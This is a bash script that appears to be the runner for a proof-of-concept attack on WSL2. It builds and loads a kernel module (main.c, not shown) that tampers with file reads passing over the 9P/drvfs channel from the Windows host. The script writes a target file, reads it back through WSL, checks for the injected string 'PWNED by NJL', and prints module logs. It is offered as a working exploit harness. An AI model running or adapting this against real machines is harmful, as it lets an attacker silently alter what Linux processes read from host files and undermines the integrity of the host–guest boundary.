#!/bin/bash
set -e

KVER=$(uname -r)
BUILD=/tmp/wsl2_poc_build
POC_DIR="$(cd "$(dirname "$0")" && pwd)"

WINUSER=$(cmd.exe /c "echo %USERNAME%" 2>/dev/null | tr -d '\r\n')
WINDRIVE=$(findmnt -n -o TARGET,SOURCE --type 9p 2>/dev/null | awk '$2=="drvfs" || $2=="C:\\" || $2=="C:" {print $1; exit}')
[ -z "$WINDRIVE" ] && WINDRIVE=$(findmnt -n -o TARGET --type 9p 2>/dev/null | grep -m1 '/mnt/')
[ -z "$WINDRIVE" ] && WINDRIVE=/mnt/c
TARGET="$WINDRIVE/Users/$WINUSER/wsl2_poc_target.txt"

ln -sf /usr/src/wsl-kernel-src /lib/modules/$KVER/build 2>/dev/null || true

rm -rf $BUILD && mkdir -p $BUILD
cp "$POC_DIR/main.c" $BUILD/
cp "$POC_DIR/Makefile" $BUILD/

cd $BUILD && make 2>&1 | grep -E 'error:|warning:|main\.ko' || true

[ -f $BUILD/main.ko ] || { echo "[FAIL] build failed"; exit 1; }
echo "[+] main.ko built"

lsmod | grep -q '^main ' && rmmod main 2>/dev/null || true

printf 'this line is before\nWSL2_9P_MITM_TARGET\nthis line is after\n' > "$TARGET"
echo 3 > /proc/sys/vm/drop_caches

echo "[*] file written to Windows host: $TARGET"
echo "[*] real content:"
powershell.exe -Command "Get-Content '$TARGET'" 2>/dev/null || strings "$TARGET"

insmod $BUILD/main.ko
echo "[+] module loaded"

echo ""
echo "[*] reading same file through WSL2 drvfs (9P):"
RESULT=$(cat "$TARGET")
echo "$RESULT"

echo ""
echo "=== verify ==="
if echo "$RESULT" | grep -q 'PWNED by NJL'; then
    echo "[CONFIRMED] in-flight 9P read patched — host file unchanged, WSL read tampered"
    dmesg | grep '\[poc\]' | tail -3
else
    echo "[FAIL] patch not applied"
    dmesg | grep '\[poc\]' | tail -10
fi

rmmod main
echo "[+] module unloaded"
rm -f "$TARGET"